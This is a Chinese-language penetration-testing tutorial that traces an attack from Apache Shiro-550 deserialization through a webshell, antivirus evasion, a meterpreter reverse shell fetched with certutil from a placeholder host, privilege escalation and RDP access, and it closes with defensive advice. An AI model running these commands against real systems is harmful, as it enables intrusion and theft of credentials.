记一次从shiro-550到内网渗透的全过程
字数 1352 2025-08-29 08:32:19
Shiro-550漏洞利用与内网渗透实战教学文档
一、Shiro-550漏洞原理分析
1.1 漏洞背景
Apache Shiro是一个Java安全框架,提供认证、授权、加密和会话管理等功能。Shiro-550(CVE-2016-4437)是一个严重的反序列化漏洞,影响版本1.2.5及以下。
1.2 漏洞原理
Shiro框架在登录时,如果勾选了"RememberMe"功能,关闭浏览器再次访问时无需再次登录,此时cookie中会增加一个rememberMe字段,其值经过以下处理:
- 序列化
- AES加密
- Base64编码
后端处理过程为:
- Base64解码
- AES解密
- 反序列化
1.3 关键漏洞点
- 硬编码密钥:AES加密使用的密钥被硬编码在程序中,攻击者可以获取默认密钥
- IV值泄露:AES加密后,IV值会被放在密文前16字节,通过Base64解码可获取
- 反序列化漏洞:解密后的数据会被反序列化,可构造恶意对象触发RCE
1.4 默认密钥示例
常见默认密钥:
kPH+bIxk5D2deZiIxcaaaA==
二、漏洞检测与利用
2.1 指纹识别
-
使用工具识别Shiro框架:
- Ehole3.0重构版
- 手动检测:添加rememberMe字段,观察响应是否包含
rememberMe=deleteMe
-
检测登录功能:
- 检查是否有"记住我"功能
- 抓包查看是否有rememberMe字段
2.2 密钥碰撞
使用工具进行密钥碰撞:
- 准备常见密钥字典
- 使用ShiroExploit等工具进行批量测试
- 成功碰撞出有效密钥
2.3 命令执行
利用步骤:
- 构造恶意序列化对象
- 使用获取的密钥和IV进行AES加密
- 将IV值放在密文前16字节
- Base64编码后替换rememberMe字段值
- 发送请求触发RCE
三、权限维持与内网渗透
3.1 Webshell上传
-
尝试直接写入JSP Webshell:
echo ^<%eval request("cmd");%^>>yl_test.jsp- 可能被杀毒软件拦截
-
使用BCEL进行免杀:
- 构造BCEL格式的Webshell
- 上传到非默认目录避免检测
3.2 MSF上线
-
生成Payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xxxx lport=1234 -f c >1234.c -
免杀处理:
- 使用分离免杀技术生成test.exe和test.txt
- 通过HTTP服务提供下载
-
目标机器执行:
certutil.exe -urlcache -split -f http://xxx:1111/test.txt certutil.exe -urlcache -split -f http://xxx:1111/test.exe -
MSF监听设置:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost xxx set lport 1234 run
3.3 信息收集
-
系统信息:
systeminfo -
网络信息:
ipconfig /all netstat -ano -
用户信息:
net user whoami /all -
进程信息:
tasklist /svc
3.4 权限提升
-
获取SYSTEM权限:
getsystem -
密码提取:
- 导出NTLM Hash
- 使用工具破解
3.5 远程桌面连接
-
查找RDP端口:
tasklist /svc | findstr "svchost.exe" netstat -ano | findstr "PID" -
解决连接问题:
- 修改注册表解决CredSSP加密Oracle修复:
New-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name CredSSP -Force New-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP -Name Parameters -Force Get-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters | New-ItemProperty -Name AllowEncryptionOracle -Value 2 -PropertyType DWORD -Force- 使用Remmina等第三方工具连接
四、防御建议
4.1 针对Shiro-550漏洞
- 升级到最新版本
- 修改默认密钥为随机强密钥
- 禁用RememberMe功能或实现自定义加密逻辑
4.2 系统安全加固
- 安装杀毒软件并保持更新
- 限制不必要的网络端口
- 实施最小权限原则
- 定期审计系统日志
4.3 应急响应
- 发现入侵后立即隔离系统
- 重置所有凭据
- 检查系统后门
- 分析攻击路径并修补漏洞
五、总结
本案例展示了从Shiro-550漏洞发现到内网渗透的完整过程,涉及:
- 漏洞检测与利用
- Webshell上传与免杀
- 权限维持与提升
- 内网信息收集
- 远程控制技术
通过此案例,安全人员可以了解攻击者的完整攻击链,从而更好地防御此类攻击。